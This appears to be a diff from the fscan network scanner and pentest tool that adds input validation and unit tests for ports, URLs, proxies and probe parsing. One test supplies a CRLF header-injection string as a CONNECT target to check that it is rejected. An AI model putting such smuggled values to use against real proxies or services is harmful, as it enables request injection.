t.Fatalf("ParsePort(web,8080) = %v, want expanded web group", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParsePort_WhitespaceHandling 测试空格处理
|
||||
func TestParsePort_WhitespaceHandling(t *testing.T) {
|
||||
tests := []struct {
|
||||
|
||||
@@ -200,11 +200,14 @@ func parsePortRange(rangeStr string) []int {
|
||||
// expandPortGroups 展开端口组
|
||||
func expandPortGroups(ports string) string {
|
||||
portGroups := config.GetPortGroups()
|
||||
result := ports
|
||||
for group, portList := range portGroups {
|
||||
result = strings.ReplaceAll(result, group, portList)
|
||||
parts := strings.Split(ports, ",")
|
||||
for i, part := range parts {
|
||||
token := strings.TrimSpace(part)
|
||||
if portList, ok := portGroups[token]; ok {
|
||||
parts[i] = portList
|
||||
}
|
||||
return result
|
||||
}
|
||||
return strings.Join(parts, ",")
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
|
||||
@@ -0,0 +1,102 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestProgressTextHelpers(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
in string
|
||||
want int
|
||||
}{
|
||||
{name: "ascii", in: "abc", want: 3},
|
||||
{name: "cjk", in: "中文", want: 4},
|
||||
{name: "mixed", in: "a中", want: 3},
|
||||
{name: "symbol", in: "★", want: 2},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if got := displayWidth(tt.in); got != tt.want {
|
||||
t.Fatalf("displayWidth(%q) = %d, want %d", tt.in, got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
truncateTests := []struct {
|
||||
name string
|
||||
in string
|
||||
width int
|
||||
want string
|
||||
}{
|
||||
{name: "exact mixed width", in: "abc中文", width: 5, want: "abc中"},
|
||||
{name: "wide char does not fit", in: "中文", width: 1, want: ""},
|
||||
{name: "zero width", in: "abc", width: 0, want: ""},
|
||||
{name: "negative width", in: "abc", width: -1, want: ""},
|
||||
}
|
||||
for _, tt := range truncateTests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if got := truncateToWidth(tt.in, tt.width); got != tt.want {
|
||||
t.Fatalf("truncateToWidth(%q, %d) = %q, want %q", tt.in, tt.width, got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
if got := stripAnsiCodes("\033[31mred\033[0m plain"); got != "red plain" {
|
||||
t.Fatalf("stripAnsiCodes removed ANSI = %q, want %q", got, "red plain")
|
||||
}
|
||||
if got := stripAnsiCodes("plain"); got != "plain" {
|
||||
t.Fatalf("stripAnsiCodes plain = %q, want plain", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFormatDuration(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
in time.Duration
|
||||
want string
|
||||
}{
|
||||
{name: "seconds", in: 1500 * time.Millisecond, want: "1.5s"},
|
||||
{name: "minutes", in: 90 * time.Second, want: "1.5m"},
|
||||
{name: "hours", in: 150 * time.Minute, want: "2.5h"},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if got := formatDuration(tt.in); got != tt.want {
|
||||
t.Fatalf("formatDuration(%s) = %q, want %q", tt.in, got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestConcurrencyMonitorTaskStats(t *testing.T) {
|
||||
monitor := &ConcurrencyMonitor{}
|
||||
|
||||
if status := monitor.GetConcurrencyStatus(); status != "" {
|
||||
t.Fatalf("initial status = %q, want empty", status)
|
||||
}
|
||||
|
||||
monitor.StartPluginTask()
|
||||
monitor.StartPluginTask()
|
||||
|
||||
active, total := monitor.GetPluginTaskStats()
|
||||
if active != 2 || total != 2 {
|
||||
t.Fatalf("stats after start = active %d total %d, want 2/2", active, total)
|
||||
}
|
||||
if status := monitor.GetConcurrencyStatus(); !strings.HasSuffix(status, ":2") {
|
||||
t.Fatalf("status after start = %q, want suffix :2", status)
|
||||
}
|
||||
|
||||
monitor.FinishPluginTask()
|
||||
active, total = monitor.GetPluginTaskStats()
|
||||
if active != 1 || total != 2 {
|
||||
t.Fatalf("stats after one finish = active %d total %d, want 1/2", active, total)
|
||||
}
|
||||
|
||||
monitor.FinishPluginTask()
|
||||
if status := monitor.GetConcurrencyStatus(); status != "" {
|
||||
t.Fatalf("status after all finish = %q, want empty", status)
|
||||
}
|
||||
}
|
||||
@@ -7,6 +7,7 @@ import (
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
@@ -54,6 +55,9 @@ func (h *httpDialer) DialContext(ctx context.Context, network, address string) (
|
||||
|
||||
// sendConnectRequest 发送HTTP CONNECT请求
|
||||
func (h *httpDialer) sendConnectRequest(conn net.Conn, address string) error {
|
||||
if strings.ContainsAny(address, "\r\n") {
|
||||
return NewProxyError(ErrTypeProtocol, "invalid CONNECT target", ErrCodeHTTPReadRespFailed, nil)
|
||||
}
|
||||
// 构建CONNECT请求
|
||||
req := fmt.Sprintf(HTTPConnectRequestFormat, address, address)
|
||||
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"net"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestHTTPDialerRejectsConnectTargetWithLineBreak(t *testing.T) {
|
||||
client, server := net.Pipe()
|
||||
defer client.Close()
|
||||
defer server.Close()
|
||||
|
||||
dialer := &httpDialer{
|
||||
config: &ProxyConfig{Timeout: time.Second},
|
||||
stats: &ProxyStats{},
|
||||
}
|
||||
|
||||
err := dialer.sendConnectRequest(client, "example.com:80\r\nX-Injected: yes")
|
||||
if err == nil {
|
||||
t.Fatal("sendConnectRequest() error = nil, want invalid target error")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
package common
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestResultCallbackLifecycle(t *testing.T) {
|
||||
ClearResultCallback()
|
||||
t.Cleanup(ClearResultCallback)
|
||||
|
||||
called := false
|
||||
SetResultCallback(func(result interface{}) {
|
||||
called = true
|
||||
if result != "payload" {
|
||||
t.Fatalf("callback payload = %#v", result)
|
||||
}
|
||||
})
|
||||
|
||||
NotifyResult("payload")
|
||||
if !called {
|
||||
t.Fatal("callback was not called")
|
||||
}
|
||||
|
||||
called = false
|
||||
ClearResultCallback()
|
||||
NotifyResult("payload")
|
||||
if called {
|
||||
t.Fatal("callback should not be called after ClearResultCallback")
|
||||
}
|
||||
}
|
||||
|
||||
func TestStateRuntimeTargetsAndShellFlags(t *testing.T) {
|
||||
state := NewState()
|
||||
|
||||
urls := []string{"http://example.com", "https://example.org"}
|
||||
state.SetURLs(urls)
|
||||
if got := state.GetURLs(); len(got) != 2 || got[0] != urls[0] || got[1] != urls[1] {
|
||||
t.Fatalf("urls = %#v", got)
|
||||
}
|
||||
|
||||
hostPorts := []string{"127.0.0.1:80", "[::1]:443"}
|
||||
state.SetHostPorts(hostPorts)
|
||||
if got := state.GetHostPorts(); len(got) != 2 || got[0] != hostPorts[0] || got[1] != hostPorts[1] {
|
||||
t.Fatalf("hostPorts = %#v", got)
|
||||
}
|
||||
state.ClearHostPorts()
|
||||
if got := state.GetHostPorts(); got != nil {
|
||||
t.Fatalf("hostPorts after clear = %#v, want nil", got)
|
||||
}
|
||||
|
||||
state.SetForwardShellActive(true)
|
||||
state.SetReverseShellActive(true)
|
||||
state.SetSocks5ProxyActive(true)
|
||||
if !state.IsForwardShellActive() || !state.IsReverseShellActive() || !state.IsSocks5ProxyActive() {
|
||||
t.Fatal("shell/proxy flags should be active")
|
||||
}
|
||||
|
||||
state.SetForwardShellActive(false)
|
||||
state.SetReverseShellActive(false)
|
||||
state.SetSocks5ProxyActive(false)
|
||||
if state.IsForwardShellActive() || state.IsReverseShellActive() || state.IsSocks5ProxyActive() {
|
||||
t.Fatal("shell/proxy flags should be inactive")
|
||||
}
|
||||
}
|
||||
@@ -2,6 +2,9 @@ package core
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
@@ -272,6 +275,102 @@ func TestOrderWebPlugins(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBaseScanStrategyPluginSelectionAndApplicability(t *testing.T) {
|
||||
registerTestPlugins(t)
|
||||
plugins.RegisterWithOptions("core_test_local", func() plugins.Plugin { return nil }, nil, []string{plugins.PluginTypeLocal}, false)
|
||||
plugins.RegisterWithOptions("core_test_udp", func() plugins.Plugin { return nil }, []int{161}, []string{plugins.PluginTypeUDP}, true)
|
||||
clearServiceCache()
|
||||
|
||||
cfg := common.NewConfig()
|
||||
cfg.Mode = "ssh, missing_plugin, webtitle"
|
||||
strategy := NewBaseScanStrategy("service", FilterService)
|
||||
got, custom := strategy.GetPlugins(cfg)
|
||||
if !custom {
|
||||
t.Fatal("explicit mode should be marked as custom")
|
||||
}
|
||||
if !slicesEqual(got, []string{"ssh", "webtitle"}) {
|
||||
t.Fatalf("custom plugins = %#v, want ssh/webtitle", got)
|
||||
}
|
||||
|
||||
cfg.Mode = "all"
|
||||
servicePlugins, custom := strategy.GetPlugins(cfg)
|
||||
if custom {
|
||||
t.Fatal("all mode should not be custom")
|
||||
}
|
||||
if !containsString(servicePlugins, "ssh") || containsString(servicePlugins, "core_test_local") || containsString(servicePlugins, "core_test_udp") {
|
||||
t.Fatalf("service filtered plugins = %#v", servicePlugins)
|
||||
}
|
||||
|
||||
if !strategy.pluginExists("ssh") || strategy.pluginExists("missing_plugin") {
|
||||
t.Fatal("pluginExists returned wrong result")
|
||||
}
|
||||
if !strategy.isPluginApplicableToPort("ssh", 22) || strategy.isPluginApplicableToPort("ssh", 23) {
|
||||
t.Fatal("port applicability for ssh is wrong")
|
||||
}
|
||||
CacheServiceInfo("10.0.0.9", 22222, &ServiceInfo{Name: "ssh"})
|
||||
if !strategy.isPluginApplicableToPortWithHost("ssh", "10.0.0.9", 22222) {
|
||||
t.Fatal("service cache should allow ssh on a non-standard port")
|
||||
}
|
||||
if !strategy.IsPluginApplicableByName("ssh", "10.0.0.9", 1, true, cfg) {
|
||||
t.Fatal("custom mode should respect explicitly selected plugin")
|
||||
}
|
||||
if strategy.IsPluginApplicableByName("missing_plugin", "10.0.0.9", 22, true, cfg) {
|
||||
t.Fatal("missing plugin should never be applicable")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBaseScanStrategyFilterTypes(t *testing.T) {
|
||||
plugins.RegisterWithOptions("core_test_local_filter", func() plugins.Plugin { return nil }, nil, []string{plugins.PluginTypeLocal}, false)
|
||||
plugins.RegisterWithOptions("core_test_web_filter", func() plugins.Plugin { return nil }, nil, []string{plugins.PluginTypeWeb}, true)
|
||||
plugins.RegisterWithOptions("core_test_udp_filter", func() plugins.Plugin { return nil }, []int{53}, []string{plugins.PluginTypeUDP}, true)
|
||||
|
||||
cfg := common.NewConfig()
|
||||
localStrategy := NewBaseScanStrategy("local", FilterLocal)
|
||||
if localStrategy.isPluginPassesFilterType("core_test_local_filter", false, cfg) {
|
||||
t.Fatal("local plugin should require explicit -local selection")
|
||||
}
|
||||
cfg.LocalPlugin = "core_test_local_filter"
|
||||
if !localStrategy.isPluginPassesFilterType("core_test_local_filter", false, cfg) {
|
||||
t.Fatal("explicit local plugin should pass local filter")
|
||||
}
|
||||
|
||||
serviceStrategy := NewBaseScanStrategy("service", FilterService)
|
||||
if !serviceStrategy.isPluginPassesFilterType("ssh", false, cfg) {
|
||||
t.Fatal("service plugin should pass service filter")
|
||||
}
|
||||
if serviceStrategy.isPluginPassesFilterType("core_test_local_filter", false, cfg) ||
|
||||
serviceStrategy.isPluginPassesFilterType("core_test_udp_filter", false, cfg) {
|
||||
t.Fatal("service filter should reject local and UDP plugins")
|
||||
}
|
||||
|
||||
webStrategy := NewBaseScanStrategy("web", FilterWeb)
|
||||
if !webStrategy.isPluginPassesFilterType("core_test_web_filter", false, cfg) ||
|
||||
webStrategy.isPluginPassesFilterType("ssh", false, cfg) {
|
||||
t.Fatal("web filter should only allow web plugins")
|
||||
}
|
||||
if webPluginOrder("webtitle") != 0 || webPluginOrder("webpoc") != 2 || webPluginOrder("other") != 1 {
|
||||
t.Fatal("web plugin order changed")
|
||||
}
|
||||
}
|
||||
|
||||
func TestFormatPluginList(t *testing.T) {
|
||||
if got := formatPluginList([]string{"a", "b", "c"}); got != "a, b, c" {
|
||||
t.Fatalf("short plugin list = %q", got)
|
||||
}
|
||||
if got := formatPluginList([]string{"a", "b", "c", "d", "e", "f"}); got == "" || got == "a, b, c, d, e, f" {
|
||||
t.Fatalf("long plugin list should be summarized, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func containsString(values []string, want string) bool {
|
||||
for _, value := range values {
|
||||
if value == want {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// TestNewBaseScanStrategy 测试构造函数
|
||||
func TestNewBaseScanStrategy(t *testing.T) {
|
||||
tests := []struct {
|
||||
|
||||
+14
-3
@@ -447,15 +447,26 @@ func buildServiceLogMessage(addr string, serviceInfo *ServiceInfo, isWeb bool) s
|
||||
// Banner 信息
|
||||
if len(serviceInfo.Banner) > 0 {
|
||||
banner := strings.TrimSpace(serviceInfo.Banner)
|
||||
if len(banner) > 80 {
|
||||
banner = banner[:80] + "..."
|
||||
}
|
||||
banner = truncateString(banner, 80)
|
||||
fmt.Fprintf(&msg, " Banner:(%s)", banner)
|
||||
}
|
||||
|
||||
return msg.String()
|
||||
}
|
||||
|
||||
func truncateString(s string, maxRunes int) string {
|
||||
if maxRunes < 0 {
|
||||
return s
|
||||
}
|
||||
for i := range s {
|
||||
if maxRunes == 0 {
|
||||
return s[:i] + "..."
|
||||
}
|
||||
maxRunes--
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func buildWebServiceURL(addr string, serviceInfo *ServiceInfo) string {
|
||||
protocol := "http"
|
||||
serviceName := ""
|
||||
|
||||
@@ -2,6 +2,8 @@ package core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
@@ -254,6 +256,110 @@ func TestBuildWebServiceURLIPv6(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestPortScanCollectorsAndHelpers(t *testing.T) {
|
||||
t.Run("result collector deduplicates and streams", func(t *testing.T) {
|
||||
stream := make(chan string, 2)
|
||||
collector := newResultCollector(stream)
|
||||
collector.Add("127.0.0.1:80")
|
||||
collector.Add("127.0.0.1:80")
|
||||
collector.Add("127.0.0.1:443")
|
||||
|
||||
got := collector.GetAll()
|
||||
sort.Strings(got)
|
||||
expected := []string{"127.0.0.1:443", "127.0.0.1:80"}
|
||||
if !stringSlicesEqual(got, expected) {
|
||||
t.Fatalf("collector results = %v, want %v", got, expected)
|
||||
}
|
||||
|
||||
close(stream)
|
||||
var streamed []string
|
||||
for addr := range stream {
|
||||
streamed = append(streamed, addr)
|
||||
}
|
||||
sort.Strings(streamed)
|
||||
if !stringSlicesEqual(streamed, expected) {
|
||||
t.Fatalf("streamed results = %v, want %v", streamed, expected)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("failed collector counts", func(t *testing.T) {
|
||||
var collector failedPortCollector
|
||||
collector.Add("127.0.0.1", 80, "127.0.0.1:80")
|
||||
collector.Add("127.0.0.1", 443, "127.0.0.1:443")
|
||||
if got := collector.Count(); got != 2 {
|
||||
t.Fatalf("failed count = %d, want 2", got)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("proxy and closed error helpers", func(t *testing.T) {
|
||||
if !isProxyErrorResponse([]byte{0x05, 0x01, 0x00, 0x01}) {
|
||||
t.Fatal("SOCKS5 failure reply should be proxy error")
|
||||
}
|
||||
if !isProxyErrorResponse([]byte("HTTP/1.1 502 Bad Gateway\r\n\r\n")) {
|
||||
t.Fatal("HTTP proxy error text should be detected")
|
||||
}
|
||||
if isProxyErrorResponse(nil) || isProxyErrorResponse([]byte{0x05, 0x00}) {
|
||||
t.Fatal("empty or success response should not be proxy error")
|
||||
}
|
||||
if !isConnectionClosed(fmt.Errorf("use of closed network connection")) {
|
||||
t.Fatal("closed connection error should be detected")
|
||||
}
|
||||
if isConnectionClosed(nil) || isConnectionClosed(fmt.Errorf("temporary timeout")) {
|
||||
t.Fatal("non-closed error should not be detected")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("service details and subnet prefix", func(t *testing.T) {
|
||||
details := buildServiceDetails(8443, &ServiceInfo{
|
||||
Name: "https",
|
||||
Version: "1.2.3",
|
||||
Banner: " hello \r\n",
|
||||
Extras: map[string]string{
|
||||
"vendor_product": "nginx",
|
||||
"os": "linux",
|
||||
"info": "tls",
|
||||
"empty": "",
|
||||
"ignored": "value",
|
||||
},
|
||||
})
|
||||
expected := map[string]interface{}{
|
||||
"port": 8443,
|
||||
"service": "https",
|
||||
"version": "1.2.3",
|
||||
"banner": "hello",
|
||||
"product": "nginx",
|
||||
"os": "linux",
|
||||
"info": "tls",
|
||||
}
|
||||
for key, want := range expected {
|
||||
if got := details[key]; got != want {
|
||||
t.Fatalf("details[%s] = %#v, want %#v (all=%#v)", key, got, want, details)
|
||||
}
|
||||
}
|
||||
if _, ok := details["ignored"]; ok {
|
||||
t.Fatalf("unexpected ignored extra in details: %#v", details)
|
||||
}
|
||||
if got := subnetPrefix("192.168.1.25"); got != "192.168.1" {
|
||||
t.Fatalf("subnetPrefix IPv4 = %q", got)
|
||||
}
|
||||
if got := subnetPrefix("localhost"); got != "" {
|
||||
t.Fatalf("subnetPrefix hostname = %q, want empty", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func stringSlicesEqual(a, b []string) bool {
|
||||
if len(a) != len(b) {
|
||||
return false
|
||||
}
|
||||
for i := range a {
|
||||
if a[i] != b[i] {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 排除端口逻辑测试(从EnhancedPortScan:28-32行提取)
|
||||
// =============================================================================
|
||||
@@ -614,6 +720,17 @@ func TestBuildServiceLogMessage(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildServiceLogMessageTruncatesBannerByRune(t *testing.T) {
|
||||
result := buildServiceLogMessage("10.0.0.1:22", &ServiceInfo{
|
||||
Name: "ssh",
|
||||
Banner: strings.Repeat("界", 85),
|
||||
Extras: map[string]string{},
|
||||
}, false)
|
||||
if !strings.Contains(result, strings.Repeat("界", 80)+"...") {
|
||||
t.Fatalf("truncated banner is not rune-safe: %q", result)
|
||||
}
|
||||
}
|
||||
|
||||
// contains 检查字符串是否包含子串
|
||||
func contains(s, substr string) bool {
|
||||
return len(s) >= len(substr) && (s == substr || len(substr) == 0 ||
|
||||
|
||||
@@ -13,7 +13,7 @@ func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
|
||||
directive = Directive{}
|
||||
// 查找第一个空格的位置
|
||||
blankIndex := strings.Index(data, " ")
|
||||
if blankIndex == -1 {
|
||||
if blankIndex == -1 || blankIndex+3 > len(data) {
|
||||
return directive
|
||||
}
|
||||
|
||||
@@ -33,6 +33,10 @@ func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
|
||||
|
||||
// parseProbeInfo 解析探测器信息,返回错误替代 panic
|
||||
func (p *Probe) parseProbeInfo(probeStr string) error {
|
||||
if len(probeStr) < 5 {
|
||||
return fmt.Errorf("%s", i18n.GetText("portfinger_probe_protocol_invalid"))
|
||||
}
|
||||
|
||||
// 提取协议和其他信息
|
||||
proto := probeStr[:4]
|
||||
other := probeStr[4:]
|
||||
@@ -49,6 +53,9 @@ func (p *Probe) parseProbeInfo(probeStr string) error {
|
||||
|
||||
// 解析指令
|
||||
directive := p.getDirectiveSyntax(other)
|
||||
if directive.DirectiveName == "" || directive.Delimiter == "" {
|
||||
return fmt.Errorf("%s", i18n.GetText("portfinger_probe_name_invalid"))
|
||||
}
|
||||
|
||||
// 设置探测器属性
|
||||
p.Name = directive.DirectiveName
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
package portfinger
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestProbeParserRejectsShortInputs(t *testing.T) {
|
||||
tests := []string{
|
||||
"",
|
||||
"T",
|
||||
"TCP",
|
||||
"TCP ",
|
||||
"TCP Q",
|
||||
"TCP GetRequest q",
|
||||
}
|
||||
|
||||
for _, input := range tests {
|
||||
t.Run(input, func(t *testing.T) {
|
||||
var probe Probe
|
||||
if err := probe.fromString(input); err == nil {
|
||||
t.Fatalf("fromString(%q) error = nil, want malformed input error", input)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestProbeParserAcceptsMinimalValidProbe(t *testing.T) {
|
||||
var probe Probe
|
||||
if err := probe.fromString(`TCP GetRequest q|GET / HTTP/1.0\r\n\r\n|`); err != nil {
|
||||
t.Fatalf("fromString valid probe error = %v", err)
|
||||
}
|
||||
if probe.Name != "GetRequest" || probe.Protocol != "tcp" || probe.Data == "" {
|
||||
t.Fatalf("probe parsed incorrectly: %#v", probe)
|
||||
}
|
||||
}
|
||||
+34
-12
@@ -112,7 +112,11 @@ func createHTTPClient(config *common.Config, session *common.ScanSession) *http.
|
||||
networkConfig := config.Network
|
||||
if networkConfig.HTTPProxy != "" {
|
||||
// 使用HTTP代理
|
||||
if proxyURL, err := url.Parse(networkConfig.HTTPProxy); err == nil {
|
||||
httpProxy := networkConfig.HTTPProxy
|
||||
if !strings.Contains(httpProxy, "://") {
|
||||
httpProxy = "http://" + httpProxy
|
||||
}
|
||||
if proxyURL, err := url.Parse(httpProxy); err == nil && proxyURL.Host != "" {
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
} else {
|
||||
session.LogError(i18n.Tr("http_proxy_config_error", err))
|
||||
@@ -393,17 +397,31 @@ func (s *WebScanStrategy) createTargetFromURLWithSession(baseInfo common.HostInf
|
||||
// 解析URL获取Host和Port信息
|
||||
parsedURL, err := url.Parse(urlStr)
|
||||
if err != nil {
|
||||
if session != nil {
|
||||
session.LogError(i18n.Tr("url_parse_failed", urlStr, err))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
urlInfo := baseInfo
|
||||
urlInfo.URL = urlStr
|
||||
urlInfo.Host = parsedURL.Hostname()
|
||||
if urlInfo.Host == "" {
|
||||
if session != nil {
|
||||
session.LogError(i18n.Tr("url_parse_failed", urlStr, "empty host"))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// 设置端口
|
||||
portStr := parsedURL.Port()
|
||||
if portStr == "" {
|
||||
if hasMalformedURLPort(parsedURL.Host) {
|
||||
if session != nil {
|
||||
session.LogError(i18n.Tr("host_port_invalid", urlInfo.Host, ""))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
// 根据协议设置默认端口
|
||||
if parsedURL.Scheme == "https" {
|
||||
urlInfo.Port = 443
|
||||
@@ -411,18 +429,14 @@ func (s *WebScanStrategy) createTargetFromURLWithSession(baseInfo common.HostInf
|
||||
urlInfo.Port = 80
|
||||
}
|
||||
} else {
|
||||
// 解析端口字符串为整数
|
||||
var port int
|
||||
if _, err := fmt.Sscanf(portStr, "%d", &port); err == nil {
|
||||
port, err := strconv.Atoi(portStr)
|
||||
if err != nil || port < 1 || port > 65535 {
|
||||
if session != nil {
|
||||
session.LogError(i18n.Tr("host_port_invalid", urlInfo.Host, portStr))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
urlInfo.Port = port
|
||||
} else {
|
||||
// 解析失败时使用默认端口
|
||||
if parsedURL.Scheme == "https" {
|
||||
urlInfo.Port = 443
|
||||
} else {
|
||||
urlInfo.Port = 80
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 标记为Web服务,确保Web插件能识别此目标
|
||||
@@ -430,3 +444,11 @@ func (s *WebScanStrategy) createTargetFromURLWithSession(baseInfo common.HostInf
|
||||
|
||||
return &urlInfo
|
||||
}
|
||||
|
||||
func hasMalformedURLPort(host string) bool {
|
||||
if strings.HasPrefix(host, "[") {
|
||||
end := strings.LastIndexByte(host, ']')
|
||||
return end >= 0 && len(host) > end+1 && host[end+1] == ':'
|
||||
}
|
||||
return strings.Contains(host, ":")
|
||||
}
|
||||
|
||||
@@ -607,17 +607,43 @@ func TestCreateTargetFromURL_EdgeCases(t *testing.T) {
|
||||
|
||||
t.Run("空URL", func(t *testing.T) {
|
||||
result := strategy.createTargetFromURL(common.HostInfo{}, "")
|
||||
// url.Parse("")会成功,但Hostname()返回空
|
||||
if result == nil {
|
||||
t.Skip("空URL解析行为依赖于url.Parse实现")
|
||||
if result != nil {
|
||||
t.Fatalf("空URL应被拒绝,实际 %#v", result)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("只有协议", func(t *testing.T) {
|
||||
result := strategy.createTargetFromURL(common.HostInfo{}, "http://")
|
||||
// url.Parse("http://")会成功,但Host为空
|
||||
if result != nil && result.Host == "" {
|
||||
t.Log("Empty host check passed as expected")
|
||||
if result != nil {
|
||||
t.Fatalf("空Host URL应被拒绝,实际 %#v", result)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("非法URL不会因nil session panic", func(t *testing.T) {
|
||||
result := strategy.createTargetFromURL(common.HostInfo{}, "http://[::1")
|
||||
if result != nil {
|
||||
t.Fatalf("非法URL应被拒绝,实际 %#v", result)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("越界端口", func(t *testing.T) {
|
||||
result := strategy.createTargetFromURL(common.HostInfo{}, "http://example.com:70000")
|
||||
if result != nil {
|
||||
t.Fatalf("越界端口应被拒绝,实际 %#v", result)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("非数字端口", func(t *testing.T) {
|
||||
result := strategy.createTargetFromURL(common.HostInfo{}, "http://example.com:bad")
|
||||
if result != nil {
|
||||
t.Fatalf("非数字端口应被拒绝,实际 %#v", result)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("空端口", func(t *testing.T) {
|
||||
result := strategy.createTargetFromURL(common.HostInfo{}, "http://example.com:")
|
||||
if result != nil {
|
||||
t.Fatalf("空端口应被拒绝,实际 %#v", result)
|
||||
}
|
||||
})
|
||||
|
||||
@@ -642,6 +668,16 @@ func TestCreateTargetFromURL_EdgeCases(t *testing.T) {
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("IPv6无端口使用默认端口", func(t *testing.T) {
|
||||
result := strategy.createTargetFromURL(common.HostInfo{}, "https://[::1]/")
|
||||
if result == nil {
|
||||
t.Fatal("IPv6无端口URL应能正确解析")
|
||||
}
|
||||
if result.Host != "::1" || result.Port != 443 {
|
||||
t.Fatalf("IPv6默认端口解析错误: %#v", result)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// TestIsWebServiceByFingerprint_Priority 测试识别优先级
|
||||
@@ -816,6 +852,19 @@ func TestCreateHTTPClientUsesPerSessionProxy(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestCreateHTTPClientNormalizesHTTPProxyWithoutScheme(t *testing.T) {
|
||||
cfg := common.NewConfig()
|
||||
cfg.Network.WebTimeout = time.Second
|
||||
cfg.Network.HTTPProxy = "127.0.0.1:18080"
|
||||
session := common.NewScanSession(cfg, common.NewState(), &common.FlagVars{})
|
||||
|
||||
client := createHTTPClient(cfg, session)
|
||||
proxy := proxyForTest(t, client)
|
||||
if proxy != "http://127.0.0.1:18080" {
|
||||
t.Fatalf("proxy = %q, want http://127.0.0.1:18080", proxy)
|
||||
}
|
||||
}
|
||||
|
||||
func proxyForTest(t *testing.T, client *http.Client) string {
|
||||
t.Helper()
|
||||
|
||||
|
||||
+7
-3
@@ -135,21 +135,25 @@ func (r Result) DetailBool(key string) (bool, bool) {
|
||||
// Port returns the result port from details, or from a target in host:port form.
|
||||
func (r Result) Port() (int, bool) {
|
||||
if port, ok := r.DetailInt("port"); ok {
|
||||
return port, true
|
||||
return port, validPort(port)
|
||||
}
|
||||
if _, portText, err := net.SplitHostPort(r.Target); err == nil {
|
||||
port, err := strconv.Atoi(portText)
|
||||
return port, err == nil
|
||||
return port, err == nil && validPort(port)
|
||||
}
|
||||
if strings.Count(r.Target, ":") == 1 {
|
||||
if idx := strings.LastIndex(r.Target, ":"); idx >= 0 && idx+1 < len(r.Target) {
|
||||
port, err := strconv.Atoi(r.Target[idx+1:])
|
||||
return port, err == nil
|
||||
return port, err == nil && validPort(port)
|
||||
}
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
|
||||
func validPort(port int) bool {
|
||||
return port >= 1 && port <= 65535
|
||||
}
|
||||
|
||||
// Service returns the detected service name when present.
|
||||
func (r Result) Service() (string, bool) { return r.DetailString("service") }
|
||||
|
||||
|
||||
@@ -76,6 +76,21 @@ func TestResultPortNoPort(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestResultPortRejectsOutOfRangePorts(t *testing.T) {
|
||||
tests := []Result{
|
||||
{Target: "10.0.0.1:70000"},
|
||||
{Target: "[::1]:0"},
|
||||
{Details: map[string]interface{}{"port": 70000}},
|
||||
{Details: map[string]interface{}{"port": 0}},
|
||||
}
|
||||
|
||||
for _, result := range tests {
|
||||
if port, ok := result.Port(); ok {
|
||||
t.Fatalf("Port(%#v) = %d/true, want false", result, port)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestResultCredentialHelpers(t *testing.T) {
|
||||
result := Result{
|
||||
Type: ResultTypeVuln,
|
||||
